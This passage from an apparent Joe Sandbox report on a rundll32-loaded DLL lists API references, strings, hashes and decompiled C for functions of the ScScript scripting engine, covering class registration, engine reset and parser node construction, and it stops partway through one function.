0x1003ecd3
0x1003ecd5
0x1003ece0
0x1003ece1
0x1003ece3
0x1003ecea
0x1003ecee
0x1003ecf4
0x1003ecf6
0x1003ecfe
0x1003ed03
0x1003ed14
0x1003ed27
0x1003ed2c
0x1003ed3a
0x1003ed44
0x1003ed50

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,100656F8,000000FF,?,10032FE3), ref: 1003ECFE
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Property,JavaScript,3A5D9654,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED1B
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Reflection,JavaScript,3A5D9654,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED2C

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070B80,JavaScript,3A5D9654,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED3A

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Reflection, xrefs: 1003ED20
JavaScript, xrefs: 1003ECF9
Property, xrefs: 1003ED0F

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Dispatcher@$Class@String@$Core@@@PropProperties@laddlregister$Core@@DataEntry@2@Entry@2@@Pool@ladd@lget
String ID: JavaScript$Property$Reflection
API String ID: 3880753041-2163269971
Opcode ID: e7861691c430f5a5b1c633d8c12d129b6e40d857b6ca8122cae69c3021ae1223
Instruction ID: 7ca4a99e2498faec36e298e39dd6ae4a78a55e866f5e30edba2b2fc30f915e86
Opcode Fuzzy Hash: e7861691c430f5a5b1c633d8c12d129b6e40d857b6ca8122cae69c3021ae1223
Instruction Fuzzy Hash: 00F0C275A18168EBE714CF98CC41FAE77A9F705A50F00435BF51597380DBB92900C798

Uniqueness

Uniqueness Score: -1.00%

Function 1000B550 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 385COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000B654
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000B844

Strings

iCol, xrefs: 1000B5B1
oFol, xrefs: 1000B595
Function, xrefs: 1000B67A, 1000B86F
ELED, xrefs: 1000B5A6

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID: ELED$Function$iCol$oFol
API String ID: 1005944317-3567674644
Opcode ID: e929f1b55af1abfcfb30d6926db720b7be53de08f3f3144052bd5031d81a69e9
Instruction ID: 96427f1a977a78d82733a6e2400f469ae36f531b9e3c52f0ef6bd7f4f9ce971d
Opcode Fuzzy Hash: e929f1b55af1abfcfb30d6926db720b7be53de08f3f3144052bd5031d81a69e9
Instruction Fuzzy Hash: 99F1AF34A00655DFEB04EFA5C998AADBBB6FF89340F104159E90697390DFB4AE44CF90

Uniqueness

Uniqueness Score: -1.00%

Function 10018320 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 285
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E10018320(signed int __ecx, void* __eflags) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v24;
				signed int _v28;
				char _v32;
				void* _v36;
				void* _v64;
				signed int _t106;
				void* _t128;
				intOrPtr _t143;
				void* _t150;
				signed int _t160;
				char _t170;
				intOrPtr* _t171;
				void* _t173;
				intOrPtr* _t179;
				intOrPtr* _t186;
				intOrPtr* _t187;
				intOrPtr _t236;
				intOrPtr _t238;
				intOrPtr* _t240;
				intOrPtr* _t241;
				signed int _t243;
				signed int _t245;
				void* _t246;
				intOrPtr _t247;
				void* _t248;
				void* _t249;

				_push(0xffffffff);
				_push(0x100600eb);
				_push( *[fs:0x0]);
				_t247 = _t246 - 0x30;
				_t106 =  *0x10094144; // 0x3a5d9654
				_push(_t106 ^ _t245);
				 *[fs:0x0] =  &_v16;
				_v20 = _t247;
				_t243 = __ecx;
				_v28 = __ecx;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x90))))();
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x18))))();
				_t170 = 0;
				E10009070(__ecx, 0);
				E100090B0(__ecx, 0);
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				E10012CD0(__ecx);
				_t179 =  *((intOrPtr*)(__ecx + 0xd0));
				if(_t179 != 0) {
					_t8 = _t179 + 0x22;
					 *_t8 =  *((intOrPtr*)(_t179 + 0x22)) - 1;
					if( *_t8 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t179 + 0x14))))();
					}
				}
				E1004D180(_t243 + 0x98);
				 *0x1006a3c8();
				E1004D180(_t243 + 0x94);
				 *0x1006a3c8();
				 *0x1006a494(E10018A90, _t170);
				 *0x1006a590();
				_t186 =  *((intOrPtr*)(_t243 + 0x78));
				if(_t186 != _t170) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t186 + 0x64))))();
				}
				E1000B1E0(_t243);
				_t187 =  *((intOrPtr*)(_t243 + 0xe4));
				_t248 = _t247 + 4;
				if(_t187 != _t170) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t187))))(1);
				}
				_push(_t243);
				 *((intOrPtr*)(_t243 + 0xe4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd0)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd4)) = _t170;
				 *((intOrPtr*)(_t243 + 0x9c)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xdc)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf4)) = _t170;
				 *((intOrPtr*)(_t243 + 0x6c)) = _t170;
				 *((intOrPtr*)(_t243 + 0x50)) = _t170;
				 *((intOrPtr*)(_t243 + 0xb0)) = _t170;
				 *((intOrPtr*)(_t243 + 0xb4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xbc)) = _t170;
				 *((intOrPtr*)(_t243 + 0x100)) = _t170;
				 *((intOrPtr*)(_t243 + 0xc4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xc8)) = _t170;
				 *((short*)(_t243 + 0xcd)) = _t170;
				 *((char*)(_t243 + 0xcc)) = _t170;
				 *((char*)(_t243 + 0xcf)) = _t170;
				E1000C510();
				_t236 =  *((intOrPtr*)(_t243 + 0x74));
				_t249 = _t248 + 4;
				_v8 = _t170;
				if(_t236 == _t170) {
					_t236 =  *((intOrPtr*)(_t243 + 0x70));
				}
				 *((intOrPtr*)(_t243 + 0xd0)) =  *((intOrPtr*)( *((intOrPtr*)( *_t243 + 0xcc))))();
				if(_t236 == _t170) {
					_v32 = _t170;
				} else {
					_v32 = _t236 + 4;
				}
				 *0x1006a160();
				_v36 = _v32;
				 *0x1006a3d4();
				_v8 = 1;
				_t128 = E10006A60(_t236, _t170);
				_v8 = 0;
				 *0x1006a3d8();
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x1c))))(_t128);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x38))))(0xffffffff);
				 *0x1006a230();
				_v8 = 2;
				 *0x1006a220();
				_v8 = 3;
				 *0x1006a544( &_v24);
				 *((intOrPtr*)(_t243 + 0xd4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xdc)) = _t170;
				E10014600(_t243,  *0x1006a3b4(0x20000090), 0x20000090);
				E10014600(_t243,  *0x1006a3b4(0x2000008d), 0x2000008d);
				_t238 = 0;
				_v32 = 0;
				while(_t238 <  *0x1006a16c()) {
					_t241 =  *((intOrPtr*)( *0x1006a178(_t238)));
					if(_t241 != _t170) {
						_t73 = _t241 + 4; // 0x4
						_t170 = _t73;
					}
					 *0x1006a160();
					_v36 = _t170;
					_t160 =  *0x1006a3d4();
					_v8 = 4;
					_t173 = 0;
					while(1) {
						E10006A50();
						if(_t173 >= _t160) {
							break;
						}
						_t160 = E10006A60(_t241, _t173);
						if(_t160 != 0x20000090 && _t160 != 0x2000008d) {
							_t160 = E10014600(_t243, _t241, _t160);
						}
						_t173 = _t173 + 1;
					}
					_v8 = 3;
					 *0x1006a3d8();
					_v32 = _v32 + 1;
					_t238 = _v32;
					_t170 = 0;
				}
				E1000C330( *((intOrPtr*)(_t243 + 0xd0)),  *((intOrPtr*)(_t243 + 0xf4)));
				_t143 =  *((intOrPtr*)(_t243 + 0x78));
				_t171 = _t243 + 0x78;
				if(_t143 != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x30))))(_t143);
				}
				if( *_t171 == 0) {
					 *0x1006a248("global");
					_v8 = 5;
					 *0x1006a464(_t171,  &_v36, 0x10000);
					_t249 = _t249 + 0xc;
					_v8 = 3;
					 *0x1006a184();
					if( *_t171 == 0) {
						_t240 =  *0x1006a1d0(0x28);
						_t249 = _t249 + 4;
						_v36 = _t240;
						_v8 = 6;
						if(_t240 == 0) {
							_t240 = 0;
						} else {
							 *0x1006a598("global", 1);
							 *_t240 = 0x1006cca4;
							 *((intOrPtr*)(_t240 + 0x14)) = 0x1006cc94;
						}
						_v8 = 3;
						 *_t171 = _t240;
					}
				}
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x30))))( *_t171);
				E10020BE0(_t243);
				E1000FA50( *((intOrPtr*)(_t243 + 0xf4)));
				_v8 = 2;
				 *0x1006a218( *_t171);
				_v8 = 0;
				_t150 =  *0x1006a1c8();
				 *[fs:0x0] = _v16;
				return _t150;
			}

0x10018323
0x10018325
0x10018330
0x10018331
0x10018337
0x1001833e
0x10018342
0x10018348
0x1001834b
0x1001834d
0x10018358
0x10018361
0x10018363
0x10018368
0x10018370
0x10018377
0x1001837a
0x1001837f
0x10018387
0x10018389
0x10018389
0x1001838c
0x10018393
0x10018393
0x1001838c
0x1001839b
0x100183a6
0x100183b2
0x100183bd
0x100183cc
0x100183d5
0x100183db
0x100183e0
0x100183e7
0x100183e7
0x100183ea
0x100183ef
0x100183f5
0x100183fa
0x10018402
0x10018402
0x10018404
0x10018405
0x1001840b
0x10018411
0x10018417
0x1001841d
0x10018423
0x10018429
0x1001842f
0x10018435
0x10018438
0x1001843b
0x10018441
0x10018447
0x1001844d
0x10018453
0x10018459
0x1001845f
0x10018466
0x1001846c
0x10018472
0x10018477
0x1001847a
0x1001847d
0x10018482
0x10018484
0x10018484
0x10018493
0x1001849b
0x100184a5
0x1001849d
0x100184a0
0x100184a0
0x100184ab
0x100184b4
0x100184b7
0x100184c0
0x100184c4
0x100184ce
0x100184d2
0x100184e4
0x100184f3
0x100184f8
0x10018501
0x10018505
0x10018515
0x10018519
0x1001852a
0x10018530
0x10018536
0x1001853c
0x10018542
0x10018556
0x10018574
0x10018579
0x1001857b
0x10018580
0x10018597
0x1001859b
0x1001859d
0x1001859d
0x1001859d
0x100185a3
0x100185ab
0x100185ae
0x100185b4
0x100185b8
0x100185c0
0x100185c2
0x100185c9
0x00000000
0x00000000
0x100185ce
0x100185d8
0x100185e5
0x100185e5
0x100185ea
0x100185ea
0x100185f0
0x100185f4
0x100185fa
0x100185fd
0x10018600
0x10018600
0x10018614
0x10018619
0x1001861c
0x10018621
0x1001862f
0x1001862f
0x10018634
0x1001863e
0x1001864e
0x10018652
0x10018658
0x1001865e
0x10018662
0x1001866b
0x10018675
0x10018677
0x1001867a
0x1001867d
0x10018683
0x100186a3
0x10018685
0x1001868e
0x10018694
0x1001869a
0x1001869a
0x100186a5
0x100186a9
0x100186a9
0x1001866b
0x100186b9
0x100186bf
0x100186cd
0x100186d5
0x100186d9
0x100186e2
0x100186e6
0x100186ef
0x100186fd

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10018368
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10018370
lgetClassID@Dispatcher@ScScript@@ABEHH@Z.MAIN(00000000), ref: 100184C4
lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 100185C2
lgetClassID@Dispatcher@ScScript@@ABEHH@Z.MAIN(00000000), ref: 100185CE

Strings

global, xrefs: 10018636, 10018687

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$ClassDispatcher@lget$Engine@Level@lset$Count@DebugProfiling
String ID: global
API String ID: 3010056328-3892677507
Opcode ID: 842739ee0c1b2fa7568a024df458b4686d3214e4df9cf0adc4a16c2ae4bda72a
Instruction ID: 1232579f6ef40464d7afb001ad4b37a41d6477ca5f7f6dfa785239884915fd8b
Opcode Fuzzy Hash: 842739ee0c1b2fa7568a024df458b4686d3214e4df9cf0adc4a16c2ae4bda72a
Instruction Fuzzy Hash: 5CC16970900A15CFE714EFA9C8D4BAEB7F6FF49300F10442EE55A97261CB74AA85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10026BA0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 10012ED0: lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012EF1
Part of subcall function 10012ED0: lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012F02

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026C29

Strings

@invalid, xrefs: 10026E5D
error, xrefs: 10026D9F
true, xrefs: 10026E53
value, xrefs: 10026DE9
@type, xrefs: 10026E26

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Callback@Callback@2@Engine@$Core@@DataPool@String@Symbol@
String ID: @invalid$@type$error$true$value
API String ID: 2303199305-3205893176
Opcode ID: 007c0e6d56058942005ccdda26388bfdc957b25e71313214c8cd9e17ec163731
Instruction ID: ec57d2c3983cd2aa8008a58e6f37a4b1d557fe2bbfbd7d906497175eee8fa07c
Opcode Fuzzy Hash: 007c0e6d56058942005ccdda26388bfdc957b25e71313214c8cd9e17ec163731
Instruction Fuzzy Hash: 9AB1C171A00249DFDB05EBA8CC94BEDBBB6FF5A310F144149D506A3290DBB46E45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100080E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(global), ref: 10008157
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000818F
lgetTable@Dispatcher@ScScript@@ABEPBVTableEntry@2@H@Z.MAIN(00000000,00000000), ref: 1000819A
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 100081FC
lgetTable@Dispatcher@ScScript@@ABEPBVTableEntry@2@H@Z.MAIN(?), ref: 100082D2

Strings

global, xrefs: 10008152

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$DataPool@ladd@$Dispatcher@Entry@2@TableTable@lget
String ID: global
API String ID: 1447371471-3892677507
Opcode ID: be2c5ff80d95d9212abf01137e9454171dcee181deaa4aa2bc24b9d3fcdebe8a
Instruction ID: 4ab204a5f54e90efbeebb822a2e99542cfc8afec5d6839b8bb7387592df781ec
Opcode Fuzzy Hash: be2c5ff80d95d9212abf01137e9454171dcee181deaa4aa2bc24b9d3fcdebe8a
Instruction Fuzzy Hash: CE919E35A00215DBFB14EF65C894BAE77B6FF86790F018119E886973A4DB70AF80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1003C3E0 Relevance: 10.7, APIs: 7, Instructions: 220
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E1003C3E0(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t57;
				intOrPtr _t61;
				char _t62;
				intOrPtr _t64;
				void* _t66;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t92;
				intOrPtr* _t95;
				void* _t96;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr _t123;
				signed int _t128;
				intOrPtr* _t135;
				intOrPtr _t136;
				intOrPtr _t140;
				signed int _t143;
				void* _t144;
				void* _t145;
				void* _t157;

				_t128 = __edx;
				_push(0xffffffff);
				_push(E100652DA);
				_push( *[fs:0x0]);
				_t145 = _t144 - 0x10;
				_t57 =  *0x10094144; // 0x3a5d9654
				_push(_t57 ^ _t143);
				 *[fs:0x0] =  &_v16;
				_t140 = __ecx;
				_t95 =  *0x1006a1d0; // 0x87144
				_t4 = _t140 + 0x8c; // 0x8c
				_t135 = _t4;
				_v24 = 0;
				_v28 =  *((intOrPtr*)(__ecx + 0xac));
				if( *((intOrPtr*)(__ecx + 0x8c)) == 0x40000040) {
					_v8 = 0xffffffff;
					_v24 = _t92;
					E1003A9F0(_t140, 0);
				}
				_t61 =  *_t135;
				if(_t61 != 0x4000005b) {
					if( *((intOrPtr*)(_t140 + 0xa8)) == 2 || _t61 == 0xc || _t61 >= 0x31 && _t61 <= 0x6b) {
						_t62 =  *_t95(0x20);
						_v20 = _t62;
						_v8 = 2;
						if(_t62 == 0) {
							_t136 = 0;
						} else {
							_t136 = E10037280(_t135);
						}
						_t129 = _a4;
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t136 + 0x1c)) = _a4;
						E1003A9F0(_t140, 0);
						_t64 =  *((intOrPtr*)(_t140 + 0x8c));
						if(_t64 == 0x7a || _t64 == 0x7c) {
							_t102 =  *0x1009415c; // 0x0
							_t66 = E100049E0(_t102, _t129,  &_v20, _t64);
							_v8 = 3;
							E1003AC10(_t140, 7, _t66);
							_v8 = 0xffffffff;
							 *0x1006a184();
						}
						_t39 = _t140 + 0x8c; // 0x8c
						_t96 = _t39;
						if( *((intOrPtr*)(_t140 + 0x8c)) == 0x80003a3a) {
							 *((intOrPtr*)(_t136 + 0x1c)) = 2;
							_t71 =  *0x1006a1d0(0x28);
							_v32 = _t71;
							_v8 = 4;
							if(_t71 == 0) {
								_t136 = 0;
							} else {
								_t136 = L10037FD0(_t71, _t96, _t136, 0);
							}
							 *((intOrPtr*)(_t136 + 0x1c)) = _a4;
							_v8 = 0xffffffff;
							E1003A9F0(_t140, 0);
							_t73 = E1003C3E0(_t140, _t129, 2);
							 *((intOrPtr*)(_t136 + 0x24)) = _t73;
							if( *((intOrPtr*)(_t73 + 8)) == 0x40000040) {
								E1003AAC0(_t140, _t129, 8, 0);
							}
						}
					} else {
						E1003AAC0(_t140, _t128, 8, 0);
						_t78 =  *_t95(0x20);
						_a4 = _t78;
						_v8 = 5;
						if(_t78 == 0) {
							_t136 = 0;
						} else {
							_t136 = E10037280(_t135);
						}
					}
				} else {
					_t81 =  *_t95(0x28);
					_v20 = _t81;
					_v8 = 1;
					if(_t81 == 0) {
						_v20 = 0;
						_t82 = _v20;
					} else {
						_t82 = E10038140(_t135);
						_v20 = _t82;
					}
					_v8 = 0xffffffff;
					 *((intOrPtr*)(_t82 + 0x1c)) = 8;
					_t136 = _t82;
					E1003A9F0(_t140, 0);
					_t99 = E1003E550(_t140, _t128, _t157, 0, 0);
					E1003AC80(_t140, 0x4000005d, 0);
					_t86 =  *((intOrPtr*)(_t99 + 4));
					if( *((intOrPtr*)(_t99 + 4)) == 0) {
						 *0x1006a22c(_t99);
					} else {
						 *((intOrPtr*)(_t99 + 0x1c)) = _a4;
						_t123 =  *0x1009415c; // 0x0
						 *((intOrPtr*)(_t99 + 8)) = E10004140(_t123, _t86);
						_t136 = _t99;
						 *((intOrPtr*)( *((intOrPtr*)( *_v20))))(1);
					}
				}
				_t69 = _v24;
				if(_t69 == 0) {
					 *[fs:0x0] = _v16;
					return _t136;
				} else {
					 *((intOrPtr*)(_t69 + 0x20)) = _t136;
					 *((intOrPtr*)(_t69 + 0x18)) =  *((intOrPtr*)(_t136 + 0x18)) - _v28 +  *((intOrPtr*)(_t140 + 0xac));
					 *[fs:0x0] = _v16;
					return _t69;
				}
			}

0x1003c3e0
0x1003c3e3
0x1003c3e5
0x1003c3f0
0x1003c3f1
0x1003c3f7
0x1003c3fe
0x1003c402
0x1003c408
0x1003c41a
0x1003c420
0x1003c420
0x1003c426
0x1003c42d
0x1003c430
0x1003c459
0x1003c460
0x1003c463
0x1003c463
0x1003c468
0x1003c46f
0x1003c51c
0x1003c567
0x1003c56c
0x1003c56f
0x1003c578
0x1003c586
0x1003c57a
0x1003c582
0x1003c582
0x1003c588
0x1003c58f
0x1003c596
0x1003c599
0x1003c59e
0x1003c5a7
0x1003c5ae
0x1003c5b9
0x1003c5c3
0x1003c5ca
0x1003c5d2
0x1003c5d9
0x1003c5d9
0x1003c5e9
0x1003c5e9
0x1003c5ef
0x1003c5f3
0x1003c5fa
0x1003c603
0x1003c606
0x1003c60f
0x1003c620
0x1003c611
0x1003c61c
0x1003c61c
0x1003c625
0x1003c62c
0x1003c633
0x1003c63c
0x1003c641
0x1003c64b
0x1003c653
0x1003c653
0x1003c64b
0x1003c52d
0x1003c533
0x1003c53a
0x1003c53f
0x1003c542
0x1003c54b
0x1003c55e
0x1003c54d
0x1003c555
0x1003c555
0x1003c54b
0x1003c475
0x1003c477
0x1003c47c
0x1003c47f
0x1003c488
0x1003c497
0x1003c49e
0x1003c48a
0x1003c48d
0x1003c492
0x1003c492
0x1003c4a5
0x1003c4ac
0x1003c4b3
0x1003c4b5
0x1003c4ce
0x1003c4d0
0x1003c4d5
0x1003c4da
0x1003c50a
0x1003c4dc
0x1003c4df
0x1003c4e2
0x1003c4f1
0x1003c4fa
0x1003c4fc
0x1003c4fc
0x1003c4da
0x1003c658
0x1003c65d
0x1003c68a
0x1003c698
0x1003c65f
0x1003c66b
0x1003c66e
0x1003c674
0x1003c682
0x1003c682

APIs

l?0UnaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@@Z.MAIN(0000008C,00000000,?,3A5D9654,00000000,00000000), ref: 1003C44C

Part of subcall function 10037F30: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,00000000,?,1003C451,0000008C,00000000,?,3A5D9654,00000000,00000000), ref: 10037F3A

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,3A5D9654,00000000,00000000), ref: 1003C48D
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(?,4000005D,00000000,00000000,00000000), ref: 1003C4E9
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,3A5D9654,00000000,00000000), ref: 1003C550
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,3A5D9654,00000000,00000000), ref: 1003C57D
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(3A5D9654,?,00000000,?,3A5D9654,00000000,00000000), ref: 1003C5B9
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,3A5D9654,00000000,00000000), ref: 1003C617

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Node@Scan$Info@1@@$DataInfo@1@Pool@$BinaryCore@@Core@@@ListNode@1@1@Node@1@@String@Symbol@UnaryVariant@ladd@lget
String ID:
API String ID: 3942220842-0
Opcode ID: a1482eaa13290e9c78b4a44d4d149dd908d24d904a2f0735c08c34a19a9f8e2d
Instruction ID: 5cfec9c1800e036cde5f741bc06b73918077a22aba7c6c6e56ba49835d13069f
Opcode Fuzzy Hash: a1482eaa13290e9c78b4a44d4d149dd908d24d904a2f0735c08c34a19a9f8e2d
Instruction Fuzzy Hash: 4B81CE71A40309AFEB11CF66C845B6EB7F5FB45751F20452AE916EF2C0DB74AA40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10008A20 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E10008A20(intOrPtr* __ecx, char _a4, char _a8, signed int _a12) {
				signed int _v8;
				char _v16;
				intOrPtr* _v20;
				char _v44;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char* _v84;
				char* _v88;
				intOrPtr _v92;
				char _v96;
				void* __edi;
				signed int _t82;
				intOrPtr _t88;
				unsigned int _t94;
				void* _t107;
				void* _t129;
				void* _t130;
				signed int _t131;
				intOrPtr* _t134;
				intOrPtr _t159;
				void* _t182;
				signed int _t183;
				char _t184;
				signed int _t185;
				signed int _t186;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;

				_t82 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t190 = __ecx;
